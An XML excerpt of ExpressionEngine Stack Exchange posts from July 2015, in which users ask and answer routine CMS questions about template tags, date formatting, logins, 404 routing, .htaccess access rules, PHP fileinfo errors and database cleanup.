  <row Id="32346" PostTypeId="1" CreationDate="2015-07-17T11:20:25.940" Score="0" ViewCount="26" Body="&lt;p&gt;After setting Allow members to set their own localization preferences? NO in Member &gt; Preferences the member_birthday in a zoo visitors edit form shows hours:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BEFORE: 30/11/2000&#xA;AFTER: 30/11/2000 00:00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using excelent low nice date to format the date in the form like this:&#xA;{exp:low_nice_date date=&quot;{member_birthday}&quot; localize=&quot;no&quot; format=&quot;%d/%m/%Y&quot;}&#xA;(even tried localize=&quot;yes&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but 00:00 are still there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this?&lt;/p&gt;&#xA;" OwnerUserId="1130" LastActivityDate="2015-07-17T11:20:25.940" Title="Allow members to set their own localization preferences? NO - date shows hour" Tags="|low-nice-date|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32347" PostTypeId="1" AcceptedAnswerId="32348" CreationDate="2015-07-06T14:54:29.920" Score="0" ViewCount="27" Body="&lt;p&gt;Is there a escape mechanism for strings in EE to render EE tags?&#xA;This is my snippet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;used_vehicles&quot; paginate=&quot;top&quot;}&#xA;{paginate}&#xA;    {pagination_links page_padding=&quot;2&quot;}&#xA;{/paginate}&#xA;&amp;lt;article&amp;gt;&#xA;    &amp;lt;a href=&quot;{permalink='site/usado'}&quot; class=&quot;car&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;image_holder&quot; style=&quot;background-image: url({image:url:medium})&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;span class=&quot;ver_mas&quot;&amp;gt;Ver más&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need that {image:url:medium} be replaced by the entry's image url. But on the inspector it seems it only puts {image:url:medium}. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&#xA;Forgot to say that, sadly, I can't change the div to an img tag.&lt;/p&gt;&#xA;" OwnerUserId="6501" OwnerDisplayName="akirashimosoeda" LastEditorUserId="7705" LastEditDate="2018-07-13T17:04:57.703" LastActivityDate="2018-07-13T17:04:57.703" Title="Expression Engine image:url not replaced on style attr" Tags="|tags|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32348" PostTypeId="2" ParentId="32347" CreationDate="2015-07-08T09:46:36.517" Score="1" Body="&lt;p&gt;Looks like you are using channel images syntax. Are you using that addon? or do you have a native file field? if you are using native you should be using a tag pair like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image}&#xA;&amp;lt;div class=&quot;image_holder&quot; style=&quot;background-image: url({url:medium})&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just one other thing: you'll get the best EE answers on &lt;a href=&quot;http://expressionengine.stackexchange.com&quot;&gt;http://expressionengine.stackexchange.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="215" OwnerDisplayName="Jelle Dijkstra" LastActivityDate="2015-07-08T09:46:36.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32349" PostTypeId="1" AcceptedAnswerId="32405" CreationDate="2015-07-17T15:17:11.227" Score="0" ViewCount="75" Body="&lt;p&gt;I have the following issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple login form on a simple template with some content wrapped in {if logged_in} conditional. I submit the login form, get the &quot;Thank you, you are logged in&quot; message, get redirected back to the template and still see the content in the {if logged_out} conditional i.e. the login form, and the {member_id} is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A previous dev may have done something to prevent spam member registrations and I am trying to figure out what and where and how to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight or anything that would point me in the right direction would be much appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6502" LastActivityDate="2015-07-23T09:43:57.393" Title="Members not logged in after submitting the login form on front-end" Tags="|ee2|members|login|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32350" PostTypeId="2" ParentId="32324" CreationDate="2015-07-17T16:01:58.037" Score="1" Body="&lt;p&gt;Your MSM and EE versions are incompatible.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MSM 2.1.7 works with EE 2.9.0&lt;/li&gt;&#xA;&lt;li&gt;MSM 2.1.6 works with EE 2.7.0&lt;/li&gt;&#xA;&lt;li&gt;MSM 2.1.5 works with EE 2.6.0&lt;/li&gt;&#xA;&lt;li&gt;MSM 2.1.4 works with EE 2.5.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll either need to upgrade your copy of EE (recommended), or contact EllisLab to get a copy of MSM 2.1.4.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-07-17T16:01:58.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32351" PostTypeId="1" AcceptedAnswerId="32360" CreationDate="2015-07-17T18:40:01.173" Score="0" ViewCount="140" Body="&lt;p&gt;...or only &quot;partially&quot; working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is if someone types in a non-existant url using an existing template group like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/existing_template_group/cvgdghdbhbcdbcdh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results are it will pull up index.html for existing_template_group and try to load ALL of the entries I have in the database. The curious thing about this issue is it only occurs with 3 out of 8 template groups in my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other template groups seem to trigger the custom template (404/index) just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can give me any insight to what the problem may be I'd appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastEditorUserId="1364" LastEditDate="2015-07-17T18:47:32.887" LastActivityDate="2015-07-20T09:36:41.077" Title="404 redirect on structure site not working" Tags="|structure|404|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32353" PostTypeId="1" CreationDate="2015-07-18T20:37:00.437" Score="0" ViewCount="186" Body="&lt;p&gt;I've gone every which way to get the following conditional to work, but it never renders the if:else variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- matrix field --&amp;gt;&#xA;{show_override_age_policy}&#xA;  &amp;lt;!-- loop through Playa column and collect entry_ids of entries, if entry_id in Playa column matches the entry_id of current entry then display Low Variable from related Playa column --&amp;gt;&#xA;  {if &quot;{override_market:child_ids}&quot; == &quot;{exp:stash:get name='market_entry_id'}&quot;}&#xA;    {override_age_policy:var}&#xA;  &amp;lt;!-- if no matched entry_id than display default Low Variable --&amp;gt;&#xA;  {if:else}&#xA;    {show_age_policy:var}&#xA;  {/if}&#xA;{/show_override_age_policy}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part of the conditional when it matches displays both the matched and non-matched results. And when I'm on an entry that does not have a matching entry_id it should display whatever is in if:else. Instead it displays the if:else conditional twice. Any thoughts on how I might approach this?&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2015-07-19T02:40:20.610" LastActivityDate="2015-07-21T04:58:46.710" Title="Conditional with Low Variables, Matrix and Playa" Tags="|matrix|playa|low-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32354" PostTypeId="1" AcceptedAnswerId="32375" CreationDate="2015-07-18T20:59:46.373" Score="1" ViewCount="1746" Body="&lt;p&gt;Is it possible to set Expresso Store to not accept American Express payments? The client us using stripe, and within stripe there is no option to disallow Amex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can block american express cards using JS but this is not a very robust solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it might be possible to pass payment[card_type], but this has no effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;would there be a hook i can use to validate before it'd passed to the payment processor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2015-07-21T04:51:29.093" Title="Don't allow American express card in Expresso store" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32355" PostTypeId="1" CreationDate="2015-07-19T12:08:25.357" Score="0" ViewCount="39" Body="&lt;p&gt;How to make custom template for entry?&#xA;Example:&#xA;site.com/service/repair/&#xA;I have 2 entry about repair. iPhone repair &amp;amp; iPad repair&#xA;So how to make page with url&#xA;site.com/service/repair/iphone-repair&#xA;and unique template for this page?&lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2015-07-23T03:23:53.297" Title="Custom template for 3 level url" Tags="|ee2|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32356" PostTypeId="1" AcceptedAnswerId="32372" CreationDate="2015-07-19T14:40:01.037" Score="0" ViewCount="1404" Body="&lt;p&gt;I'm currently testing a site (EE 2.10.1) and getting a string of the following errors when trying to do anything with image uploads.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Use of undefined&#xA;  constant FILEINFO_MIME_TYPE - assumed 'FILEINFO_MIME_TYPE' Filename:&#xA;  Mime/MimeType.php Line Number: 117&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A PHP Error was encountered Severity: Warning Message: finfo_open()&#xA;  expects parameter 1 to be long, string given Filename:&#xA;  Mime/MimeType.php Line Number: 117&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This supposedly stems from the fileinfo extensions only being available from 5.3.10 onwards. The PHP version on this server is 5.3.29 and it looks to have been compiled -with-fileinfo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a support request in with the hosting company at the moment but I wondered if anyone else had run into this and may have a workaround.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-10-20T06:56:44.363" Title="Use of undefined constant FILEINFO_MIME_TYPE" Tags="|php|error|php-errors|file-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32357" PostTypeId="1" CreationDate="2015-07-19T17:50:51.827" Score="0" ViewCount="128" Body="&lt;p&gt;I know that by default EE doesn't allow guests to upload a file. Though a client really needs this feature in his site. Isn't there a possibility to enable this for guests as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I would then need to have a look at specific code pieces to enable this but I can't seem to figure out where this might be located, did anyone ever solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="1664" LastActivityDate="2015-07-20T11:49:06.687" Title="Guest upload expression engine" Tags="|safecracker|guest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32358" PostTypeId="1" AcceptedAnswerId="32359" CreationDate="2015-07-19T18:47:23.377" Score="0" ViewCount="61" Body="&lt;p&gt;Im using native EE image manipulations to create small images. How ever, EE saves the original files, and everyone can access to those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to deny access to these original images but allow access to sub directories EE is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, simple example:&#xA;/myimages/_cropped/image.jpg and&#xA;/myimages/_customsmall/image.jpg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are the files that I need to serve to visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to deny access to original images that are saved to&#xA;/myimages/image.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How this can be done with something like via htaccess?&#xA;I've tried to google but did'nt find any articles about this.&#xA;I do not wat to use any password protection, but deny from all (the main directory) and yet to allow needed sub directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-07-19T19:38:02.887" Title="deny access to directory but allow to sub directories, how?" Tags="|image|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32359" PostTypeId="2" ParentId="32358" CreationDate="2015-07-19T19:38:02.887" Score="0" Body="&lt;p&gt;Easy peasy. Use .htaccess rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For /myimages/.htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Order deny,allow&#xA;Deny from all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for /myimages/whateverdirectory/.htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Order allow,deny&#xA;Allow from all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-19T19:38:02.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32360" PostTypeId="2" ParentId="32351" CreationDate="2015-07-19T21:06:52.413" Score="0" Body="&lt;p&gt;Figured it out. I had pages in Structure that had the same name as a template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About us page: www.mysite.com/about-us&#xA;Template group name: about-us.group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if someone were to type in www.mysite.com/about-us/ccgsdcedh EE would look in the about-us template group and display the index template with all of my entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution was to change the names of the conflicting template groups to something no one would ever guess.&lt;/p&gt;&#xA;" OwnerUserId="1364" LastEditorUserId="1364" LastEditDate="2015-07-20T09:36:41.077" LastActivityDate="2015-07-20T09:36:41.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32361" PostTypeId="1" CreationDate="2015-07-20T00:03:46.050" Score="0" ViewCount="56" Body="&lt;p&gt;We have about 30+ member groups (schools) and about 15 channels (books).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After logging in at the front end, member groups should have access to the channels we set. For the moment we use snippets to do it, but its very hard for a non tech person to manage it. So when we came across Hookan module from de Beer, it looks like the perfect fit to manage it (instead of the snippets). This module is purchased and installed and looks like it works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only one the user groups to view, no edit or create anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end template, how do I code the persmission to only display channels (books) the user group who have access to? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if you could just send me off in the right direction. I'm just stuck at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6495" LastEditorUserId="6495" LastEditDate="2015-07-20T00:36:09.127" LastActivityDate="2016-06-01T12:12:43.813" Title="Hookan and permission on front end template" Tags="|members|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32362" PostTypeId="2" ParentId="32355" CreationDate="2015-07-20T06:04:12.427" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; by Mark Croxton would be of use here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{!-- Index page. Match empty string or pagination --}&#xA;{case value=&quot;phone&quot;} &#xA;    phone page&#xA;{/case}&#xA;&#xA;{!-- Single entry --}&#xA;{case default=&quot;yes&quot;}&#xA;    pad&#xA;{/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to match an empty string or use pagination, use it like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{!-- Index page. Match empty string or pagination --}&#xA;{case value=&quot;#^P(\d+)$#|''&quot;}&#xA;    Index page&#xA;{/case}&#xA;&#xA;{!-- Single entry --}&#xA;{case default=&quot;yes&quot;}&#xA;    Single entry&#xA;{/case}&#xA;&#xA;{/exp:switchee} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastActivityDate="2015-07-20T06:04:12.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32363" PostTypeId="2" ParentId="32353" CreationDate="2015-07-20T06:38:37.617" Score="1" Body="&lt;p&gt;As with others you've spoken to, I'm very out of practice with EE. However, if you look at the EE manual for conditionals, the way you've written this is recommended against. If you look here, it will tell you not to use brackets or quotes for variables in conditionals:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#embedding-tags&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#embedding-tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try remedying this, as I recall EE has always been very touchy on such points, and it may solve your problem. In other words, no quotes or brackets on that left-hand variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your next troubleshooting step, I think you mean a simple string value for &quot;generic sting&quot;, but I think you'll  find that &quot;Yes&quot; wouldn't be a logic value within a conditional, so this seems unlikely to tell you anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try getting rid of the quotes and brackets around your variable first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't solve the problem by itself, you might try replacing that whole Stash call with a quoted string value that matches your override_market:child_ids variable exactly. I'm a little concerned that this variable appears by name to be plural - is it an array? In which case it will never by itself work in an EE conditional, would seem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the problem shows to be in the stash call, it's possible you have one of the cases where parse=&quot;inward&quot; is needed, in order to get the right order of evaluation so that the stash value is returned before the conditional is evaluated. Here's a stackexchange where that's mentioned and illustrated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6053/plugin-value-in-a-template-conditional&quot;&gt;plugin value in a template conditional&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here also is a famous cheat sheet on EE parse order, and you can look up how parse inward relates to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there's also a new conditionals parser in EE 2.9, and you can read about that here, if you happen to be on that or a later version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/blog/entry/new-conditionals-parser-in-2.9&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/blog/entry/new-conditionals-parser-in-2.9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good fortune - really the answer here should be simple, if you haven't been trying to compare two values that can't be compared (for example, if your variable is an array). Parse order can make it a bit trickier, but again parse inward properly applied should fix that without more complication if it's needed, from the look of this.&lt;/p&gt;&#xA;" OwnerUserId="103" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-07-21T04:58:46.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32364" PostTypeId="2" ParentId="32271" CreationDate="2015-07-20T09:27:43.413" Score="0" Body="&lt;p&gt;I have worked it out with a combination of Postmaster and Cronjobs. In Postmaster you do have notifications. Just fill them out, do NOT enter anything in the timebased fields and use the Expression Engine Mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once saved, the notification will have an url in the overview. Just call the url with a cron job on a time based manner and you will get it working.&lt;/p&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2015-07-20T09:27:43.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32365" PostTypeId="2" ParentId="32357" CreationDate="2015-07-20T11:49:06.687" Score="1" Body="&lt;p&gt;This is probably a duplicate of : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14489/allow-guests-to-upload-to-directory-freeform-pro-ee2-6-1&quot;&gt;Allow Guests to Upload to Directory? FreeForm PRO / EE2.6.1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the answer there, and let us know how you get on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short Guests should be able to upload (like any other group) &lt;strong&gt;if&lt;/strong&gt; you set the relivent permissions. This will be &quot;Can post to (channel where the files are attached)&quot; (Channel Assignment &amp;amp;  Channel Posting Privileges sections). Permissions can be found at Members &gt; Member Groups &gt; Edit Group (Guests)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you'll need to review your File Upload preferences (Content &gt; Files &gt; File Upload Preferences), at the bottom of this section is the part that the duplicate post refers too). I do note here that Guest group is removed (as well as banned, super admins ect), I suggest a work around of cloning the Guest group with all the same permissions, set this group as the anonymous group (Member &gt; Preferences) and it &lt;em&gt;should&lt;/em&gt; appear in the File Upload Preferences.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-07-20T11:49:06.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32366" PostTypeId="2" ParentId="32349" CreationDate="2015-07-20T13:14:53.183" Score="0" Body="&lt;p&gt;Ok, this might not be the answer but I'm not going to type all this out in a comment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please post your template code? This could help me pinpoint any issues there, but it doesn't seem likely to be the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, please take a good look at your .htaccess file. You can definitely mess with cookies in there. Also, even more important, is to check to see if this is an environment issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.phpinfo.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.phpinfo.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rock this command somewhere, and grep/search that page for &quot;cookie&quot;. Find the &quot;Session&quot; section of your phpinfo() call, and look for any funny settings there (like if session.use_cookies is set to &quot;No&quot;, you've got some environment problems!). Let me know if any of this helps you.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-20T13:14:53.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32367" PostTypeId="1" AcceptedAnswerId="32368" CreationDate="2015-07-20T13:15:45.687" Score="0" ViewCount="59" Body="&lt;p&gt;I updated ee to v2.10.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an image with umlauts in the filename which I'm unable to remove.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The .jpg file is not present, but still in the filemanager&lt;/li&gt;&#xA;&lt;li&gt;Synchronizing the upload folder doesn't remove it.&lt;/li&gt;&#xA;&lt;li&gt;recreating a fake file with the same name does nothing.&lt;/li&gt;&#xA;&lt;li&gt;Last idea is to delete the file by hand in the database with sequel pro.&lt;/li&gt;&#xA;&lt;li&gt;Since the file is added in an entry I can no longer edit the entry because I can't get past the file error message (Nice error handling by the way).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've never made anything by hand in the db. Where do I find the images in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2017-08-05T15:48:48.110" Title="Getting images out of the system" Tags="|file-uploads|database|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32368" PostTypeId="2" ParentId="32367" CreationDate="2015-07-20T13:25:43.803" Score="1" Body="&lt;p&gt;You started fine with the manual deletion; you just need to complete the process. Open your Edit form and find your entry_id. Then, go to your field groups and find the field_id of the file field. Then head to your channel_data MySQL table, find that entry_id (if your field_id is 10 and entry_id is 20, use &lt;code&gt;SELECT field_id_10 FROM exp_channel_data WHERE entry_id = &quot;20&quot;;&lt;/code&gt;), and clear out any value for that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Ahh, a matrix field. That data is store in exp_matrix_data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT * FROM exp_matrix_data WHERE entry_id = &quot;20&quot; AND field_id = &quot;10&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find that row, and remove the sucker! You can drop the &quot;field_id&quot; requirement of that query if you're having trouble finding the row.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-20T14:43:25.200" LastActivityDate="2015-07-20T14:43:25.200" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32369" PostTypeId="2" ParentId="32356" CreationDate="2015-07-20T16:37:14.723" Score="0" Body="&lt;p&gt;There's a simple workaround, but it does require modifying the core files....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Danger, there be pirates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're best bet is to change th code to use &lt;code&gt;FILEINFO_MIME&lt;/code&gt;, so instead of &lt;code&gt;FILEINFO_MIME_TYPE&lt;/code&gt; use : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;( strstr(FILEINFO_MIME, &quot;;&quot;) === false ? FILEINFO_MIME : substr( FILEINFO_MIME, 0, strstr(FILEINFO_MIME, &quot;;&quot;) - 1 ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(You need to split the string by the semi colon, if there is one) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use the function &lt;a href=&quot;http://php.net/manual/en/function.mime-content-type.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;mime_get_content_type()&lt;/code&gt;&lt;/a&gt; which should get you there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref : &lt;a href=&quot;https://stackoverflow.com/questions/7906292/fileinfo-mime-type-is-undefined&quot;&gt;https://stackoverflow.com/questions/7906292/fileinfo-mime-type-is-undefined&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-07-20T16:37:14.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32370" PostTypeId="2" ParentId="32355" CreationDate="2015-07-20T16:44:45.147" Score="1" Body="&lt;p&gt;Or you could just make 1 template, with a route of &lt;code&gt;service\repair\{any}&lt;/code&gt;. This template then gets all URL's with first 2 segemetns of /service/repair...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you cna switch on the &lt;code&gt;segment_3&lt;/code&gt;, like so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == 'iphone-repair'}&#xA;  {embed=&quot;partials/iphone-specific&quot;}&#xA;{if:elseif segment_3 == 'ipad-repair'}&#xA;  {embed=&quot;partials/ipad-specific&quot;} &#xA;{if:else}&#xA;  {embed=&quot;partials/mobile-generic&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-07-20T16:44:45.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32371" PostTypeId="1" CreationDate="2015-07-20T20:02:32.080" Score="1" ViewCount="561" Body="&lt;p&gt;My service provider is planning on upgrading from PHP 5.4 to PHP 5.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently running EE 2.4.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all will it work and secondly can I expect and issues after the upgrade. &lt;/p&gt;&#xA;" OwnerUserId="6507" LastActivityDate="2015-07-20T20:21:49.627" Title="ExpressionEngine 2.4.0 and PHP 5.6 support" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32372" PostTypeId="2" ParentId="32356" CreationDate="2015-07-20T20:17:13.720" Score="0" Body="&lt;p&gt;Turns out that in this case it was simply that PHP 5.3 had been mistakenly compiled with an old version of the fileinfo extension. The host recompiled it and now all works as it should.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-07-20T20:17:13.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
